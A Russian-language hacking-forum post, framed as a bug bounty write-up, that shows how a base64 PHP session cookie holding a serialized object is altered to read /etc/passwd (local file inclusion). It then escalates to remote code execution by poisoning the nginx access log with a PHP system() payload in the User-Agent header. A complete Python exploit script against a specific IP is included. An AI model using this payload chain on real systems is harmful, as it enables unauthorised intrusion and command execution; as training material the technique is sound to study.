Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Реклама на форуме платная! Обращаться к Admin.
    Произошла смена домена с maza.one на maza1.top!!!

От LFI к RCE — Bug bounty

  • Автор темы Автор темы slavik
  • Дата начала Дата начала

slavik

Cool Man
LV
0
 
Регистрация
Мар 23, 2023
Сообщения
57
Реакции
12
После нескольких часов сбора информации о веб-приложении и проведения рекогносцировки я заметил куки: PHPSESSID=.

PHPSESSID — куки PHPSESSID характерны для PHP и позволяют сайтам хранить сериализованные данные состояния. Они используются для установки пользовательской сессии и передачи данных состояния через временные куки, которые обычно называют сессионными куками (истекают, когда закрываете браузер). Обычно они кодируются в Base64.

39c74e55-6a61-46e6-9b3d-31dc38e0f9e0.png

e547b385-417d-4eda-8d11-8f08ca4dcdb1.png

СОВЕТ: всегда старайтесь их декодировать!
Основные 2 способа декодирования:

  • Используя base64decode.org
307e4397-7584-493d-8ec7-b8a31bff631d.png

  • Используя Python:
67d171f1-4c76-40b0-ae1d-b5c80c94c310.png

Путь /www/index.html = 15 символов — поэтому s:15. Учитывая эту информацию, давайте немного поиграем и посмотрим, сможем ли мы это использовать!

Уязвимость LFI

Local File Inclusion (LFI) — это техника атаки, при которой злоумышленники заставляют веб-приложение выполнять или читать файлы на веб-сервере. Атаки LFI могут раскрывать конфиденциальную информацию, а в серьезных случаях могут привести к межсайтовому скриптингу (XSS) и удаленному выполнению кода (RCE).

Что будет, если я заменю /www/index.html на /etc/passwd? Можно использовать онлайн-декодер или следовать моему плану, используя Python!

8631bd66-1136-4cc6-a7a3-95efe19715a4.png

Теперь, когда у меня закодированы новые вредоносные куки, я собираюсь продемонстрировать три разных способа их использования для получения результата:

1. Отправить запрос с помощью Python и вывести результаты

ef791b89-5b2b-4dd1-8dca-3052a548808f.png

2. Отправить запрос с помощью Python и вывести результаты

da963733-bd78-4052-98df-ab490ebb3761.png

3. Изменить куки с помощью Burp Suite

8e0b370a-fcab-44fd-aaa2-bf25e64a0b2b.png

18232ad5-b529-42a6-a11c-66007f94a98c.png

LFI к RCE

Атаки с удаленным выполнением кода (RCE) позволяют злоумышленнику удаленно выполнять вредоносный код на компьютере. Последствия уязвимости RCE могут варьироваться от выполнения вредоносного ПО до получения злоумышленником полного контроля над скомпрометированной машиной.

Для этого я буду использовать Python. Почему? Потому что Python — это весело. Я дам подробное объяснение моего скрипта через минуту, так что устраивайтесь поудобнее.

Самый простой способ получить RCE из уязвимости LFI — это через отравление логов. Что такое отравление логов?

Отравление логов или инъекция логов — это техника, которая позволяет злоумышленнику подделывать содержимое лог-файлов, например, вставляя вредоносный код в логи сервера, чтобы удаленно выполнять команды или получать обратную оболочку. Это будет работать только в том случае, если приложение уже уязвимо к LFI.

В этом случае я не смогу получить обратную оболочку, поэтому просто попробую перечислить содержимое директории, используя команду «ls -lsa» — «ls -l».

Помните, что уязвимость LFI позволяет нам только читать/выполнять файлы, а не записывать или создавать новые. Так как же мы собираемся внедрять код? А мы можем добавлять логи в файл сервера, не так ли?

Сначала нужно узнать, какой сервер работает:

a9de86ce-64e0-4141-8744-bce6a78bbfce.png
a9de86ce-64e0-4141-8744-bce6a78bbfce.png

NGINX!! Эти файлы хранятся в: /var/log/nginx/access.log

Сначала проверим, есть ли у нас доступ к лог-файлу с помощью нашего скрипта на Python:

77a9a902-bd70-48e3-b01f-4b9a302a3535.png

Отлично, у нас есть доступ!! Теперь давайте посмотрим, сможем ли мы добавить логи, используя заголовок “User-Agent”

В моем Python-скрипте я добавлю следующее:

headers = {'User-Agent': 'Facundo Fernandez'}
741e1958-68a1-497a-a780-7dfebe379930.png
741e1958-68a1-497a-a780-7dfebe379930.png

И мы получаем:

e93759f9-1379-444e-aa1f-ff893988eae0.png
e93759f9-1379-444e-aa1f-ff893988eae0.png

Вместо того чтобы вводить имя, давайте используем:

headers = {'User-Agent': "<?php system('ls -lsa');?>"
c05a5e20-76d5-441c-8a03-70feb26a16a2.png

Объяснение кода:

import base64
# Импорт модуля base64, который используется для кодирования и декодирования данных в формате base64.
# Создание байтовой строки, которая имитирует сериализованный объект PHP.
# Это может быть использовано для эксплуатации уязвимости инъекции объектов в PHP-приложениях.

malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Вредоносный куки:', malicious_cookie)
# Вывод созданной вредоносной байтовой строки (куки) для демонстрации.

# Кодирование вредоносного куки с использованием base64.
# Это необходимо, поскольку куки обычно кодируются в base64 во время HTTP-коммуникации.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Закодированные вредоносные куки:', malicious_cookie_encoded)
# Вывод закодированной в base64 версии вредоносного куки.

# Наша цель
# Это должен быть URL, который находится под вашим контролем или где у вас есть разрешение на тестирование.
url = 'http://142.93.32.153:31043'

# Создание словаря куки с ключом 'PHPSESSID' и закодированным вредоносным куки в качестве значения.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

# Создание словаря заголовков, и передача PHP-кода в заголовке User-Agent.
# Намерение здесь — протестировать удаленное выполнение кода (RCE), по выполнению команды 'ls'.
headers = {'User-Agent': "<?php system('ls -lsa');?>"}

# Отправка GET-запроса на указанный URL с вредоносными куки и заголовками.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Вывод текста ответа от сервера.
# Если сервер уязвим и выполняет код, можно увидеть результат команды 'ls -lsa'
 

Пинг форума и аптайм

Averaged results for https://maza.one

uptime counter
Назад
Сверху